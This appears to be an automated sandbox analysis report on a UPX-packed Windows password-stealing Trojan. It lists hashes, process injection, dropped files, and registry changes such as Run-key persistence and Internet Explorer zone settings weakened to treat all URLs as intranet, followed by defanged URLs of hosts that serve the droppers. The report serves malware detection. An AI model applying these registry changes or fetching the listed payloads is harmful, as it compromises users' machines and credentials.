MD5: 60cc3de2a9dbd47459bfe14655a7cb93
SHA1: 57e41e8beb2af317eb01c1cecc802edd3982bd8c
SHA256: 42b9f3d1596ee06381622e67c9e044fea31112813c71c5925658e5afc79c9d5c
SSDeep: 6144:sXELPlijBJwx rgkcEjqiCifFmQUgtAS4DyAnoS:Fblj8rgECifFmxgtAS4noS
Size: 235008 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, UPolyXv05_v6
Company: no certificate found
Created at: 2015-05-12 14:11:22
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

dnbb_51171.exe:472
dnbk.exe:1688

The Trojan injects its code into the following process(es):

copyinstall_41_1.exe:2000
install_41_1.exe:644
%original file name%.exe:312

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process copyinstall_41_1.exe:2000 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (163 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\core[1].php (751 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\z_stat[1].php (1097 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (203 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (3952 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (168 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (217 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\stat[1].gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\will[1].htm (374 bytes)

The process dnbb_51171.exe:472 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\dnbk\dnbk.exe (20507 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\dnbk\¶¥Å£±¦¿â.url (108 bytes)
%Program Files%\dnbk\uninstall.exe (6438 bytes)
%Program Files%\dnbk\ini.ini (108 bytes)

The process install_41_1.exe:644 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\copyinstall_41_1.exe (10177 bytes)

The process %original file name%.exe:312 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\install_41_1.exe (7972 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)

Registry activity

The process copyinstall_41_1.exe:2000 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0A 2C 12 4F 51 F7 EB 8B 5C 59 9E 04 94 DF DA 2B"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process dnbb_51171.exe:472 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"
"CategoryCount" = "16"
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\dnbk]
"DisplayVersion" = "1.1.1"
"DisplayName" = "¶¥Å£±¦¿â 1.0.1"
"DisplayIcon" = "%Program Files%\dnbk\dnbk.exe"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\dnbk]
"UninstallString" = "%Program Files%\dnbk\uninstall.exe"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\dnbk]
"URLInfoAbout" = "www.dnbk.com"
"Publisher" = "¶¥Å£±¦¿â"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKCU\Software\Microsoft\Windows Script\Settings]
"JITDebug" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\dnbb_51171\DEBUG]
"Trace Level" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "87 86 5C C5 95 E0 66 FE C0 CA 90 0E 2E 8A BB 34"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"dnbk" = "%Program Files%\dnbk\dnbk.exe autostart"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\dnbb_51171\DEBUG]
"Trace Level"

The process install_41_1.exe:644 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"copyinstall_41_1.exe" = "copyinstall_41_1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2E 6E 10 FF D9 6B D4 A5 76 F9 F6 C1 C7 5F A7 3F"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"TimeHint" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\install_41_1.exe"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:312 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DA D2 13 87 11 7C D9 7C 75 41 66 38 9B EC 13 E3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process dnbk.exe:1688 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4F 10 76 72 80 E8 61 FE 4C 96 80 BE C5 95 68 F2"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://down.654163.com/UserFiles/install_41_1.exe	174.139.167.118
hxxp://down.654163.com/paramfile/navweb.txt	174.139.167.118
hxxp://down.654163.com/will.html	174.139.167.118
hxxp://down.654163.com/newcount.aspx	174.139.167.118
hxxp://down.654163.com/paramfile/tasklist.txt	174.139.167.118
hxxp://down.654163.com/paramfile/main.txt	174.139.167.118
hxxp://down.654163.com/ad.htm	174.139.167.118
hxxp://down.654163.com/ad2.htm	174.139.167.118
hxxp://js.users.51.la/17796801.js	222.187.225.125
hxxp://all.cnzz.com.danuoyi.tbcache.com/z_stat.php?id=1255080332
hxxp://down.yangpuweiqi.com/dingniubaoku/dnbb_51171.exe	222.186.60.77
hxxp://all.cnzz.com.danuoyi.tbcache.com/core.php?web_id=1255080332&t=z
hxxp://oz.cnzz.com/stat.htm?id=1255080332&r=&lg=en-us&ntime=none&cnzz_eid=1161489034-1432632816-&showp=1276x846&t=&h=1&rnd=1974847579	198.11.132.200
hxxp://js.users.51.la/17745949.js	222.187.225.125
hxxp://bbs.tianya.cn/post-186282-27-1.shtml	124.225.214.205
hxxp://s.click.gds.taobao.com/t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV
hxxp://static.tianya.cn/global/bbs/web/static/css/bbs_article_51018f9.css
hxxp://static.tianya.cn/global/ty/TY.css
hxxp://s.click.gds.taobao.com/t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=4mlmGlHXw1E%2BVkS0wTh80ZXkMi5N%2BqCa
hxxp://cnzz.mmstat.com/9.gif?abc=1&rnd=385164926	42.120.219.171
hxxp://static.tianya.cn/global/ty/TY.js
hxxp://static.tianya.cn/global/bbs/web/static/js/main_3dc2083.js
hxxp://static.tianya.cn/global/bbs/web/static/images/top-nav-bg_42f6516.png?v=@TIMESTAMP@
hxxp://static.tianya.cn/global/bbs/web/static/images/bg_9_e4ae4e4.png
hxxp://static.tianya.cn/global/bbs/web/static/images/nav_top_logo_a215738.gif?v=@TIMESTAMP@
hxxp://static.tianya.cn/global/bbs/web/static/images/bbs_ico_b07b5b8.png
hxxp://static.tianya.cn/global/bbs/web/static/images/bg_5_2aad127.png
hxxp://static.tianya.cn/global/bbs/web/static/images/bg_6_00bad4e.png
hxxp://static.tianya.cn/qy/adsame/ads.js
hxxp://static.tianya.cn/gamify/broadcast/js/core.jsonp
hxxp://dol.tianya.cn/s?z=tianya&c=1862820201	124.225.214.206
hxxp://static.tianya.cn/gamify/data/broadcast/tybcdsdata.jsonp
hxxp://static.tianya.cn/gamify/broadcast/js/core.js?v=20150521
hxxp://static.tianya.cn/gamify/broadcast/css/bc_1001_ebook_top.css?v=150525
hxxp://static.tianya.cn/gamify/broadcast/js/1001/play.ebook.top.js?v=150525
hxxp://static.tianya.cn/global/dashang/js/core.js?v=1.0.5
hxxp://static.tianya.cn/global/dashang/css/core.css
hxxp://static.tianya.cn/gamify/broadcast/img/1001/ebook/avatar_month.png
hxxp://static.tianya.cn/gamify/broadcast/img/1001/sm/ico_close.png
hxxp://static.tianya.cn/gamify/broadcast/img/1001/ebook/title_month.png
hxxp://s.click.gds.taobao.com/t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=4mlmGlHXw1E+VkS0wTh80ZXkMi5N+qCa
hxxp://static.tianya.cn/gamify/broadcast/img/1001/ebook/book_1.png
hxxp://static.tianya.cn/gamify/broadcast/img/1001/ebook/book_0.png
hxxp://cnzz.mmstat.com/app.gif?&cna=9SvrDV4lMC8CAcGK9OfYORML	42.120.219.171
hxxp://static.tianya.cn/gamify/broadcast/img/1001/ebook/book_2.png
hxxp://wagbridge.gds.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858
hxxp://static.tianya.cn/gamify/broadcast/img/1001/ebook/book_3.png
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/home/1.3.5/pages/2015/index.less.css	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/common/1.5.8/global-min.css	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/??kissy/k/1.4.14/seed-min.js,ju/common/1.5.8/global-min.js,tb/tracker/1.0.16/index.js	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/alilog/mlog/aplus_v2.js	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/kissy/k/1.4.14/??dom/base-min.js,dom/ie-min.js,dom/class-list-min.js,dom/selector-min.js,event-min.js,event/dom/base-min.js,event/base-min.js,event/dom/hashchange-min.js,event/dom/ie-min.js,event/custom-min.js,io-min.js,promise-min.js,anim-min.js,anim/base-min.js,anim/timer-min.js,base-min.js,attribute-min.js,node-min.js,json-min.js,cookie-min.js	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/??lazyload/1.1.7/index-min.js,julog/1.0.10/index-min.js,julogin/1.1.3/index-min.js?t=16581.js	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/t/font_1432191682_899724.eot?	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/s.gif	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/alilog/mlog/??spm.js,spmact.js?v=141204	80.231.126.250
hxxp://skip.ju.taobao.com.danuoyi.tbcache.com/json/tg/juSkip.htm?callback=skipFn0&menuType=index	80.231.126.227
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i3/TB1BnawHFXXXXaNaXXXgMSN.FXX-130-50.png	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/??ju/home/1.3.5/pages/2015/index-min.js,kissy/k/1.3.2/template-min.js	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i2/TB1z6_KHVXXXXbpXXXX9sla8VXX-750-300.jpeg_Q90.jpg	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i2/TB1OFHjHVXXXXXvXpXXSgLWZVXX-290-420.jpg_q90.jpg	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i3/TB1ODS9HFXXXXbaXFXXMmPIJFXX-9-7.gif	80.231.126.250
hxxp://at.alicdn.com.danuoyi.alicdn.com/tps/i1/TB1eHBsGFXXXXa7XFXXoYWL.FXX-130-35.png	195.59.70.240
hxxp://at.alicdn.com.danuoyi.alicdn.com/tps/i1/TB1.c6kHVXXXXbiXpXXrywt4VXX-120-120.png	195.59.70.240
hxxp://at.alicdn.com.danuoyi.alicdn.com/tps/i1/TB16cHvHVXXXXXeXpXXZ6GBKFXX-150-150.png	195.59.70.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i2/TB1_AIOHFXXXXXKaXXXt7e2LVXX-1920-455.jpg_q75.jpg	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i2/TB1liOWHFXXXXXuXFXXQoJ3FVXX-150-50.png	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i2/TB10FuzHVXXXXbIXFXXrywt4VXX-120-120.png	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/??jufav/1.0.29/index-min.js?t=16581.js	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/??jupopup/1.0.7/index-min.js?t=16581.js	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/??jufav/1.0.29/jufav-min.css?t=16581.css	80.231.126.250
hxxp://at.alicdn.com.danuoyi.alicdn.com/s/kissy/gallery/??kscroll/1.2/index-min.js,RichDate/1.0/index-min.js	195.59.70.240
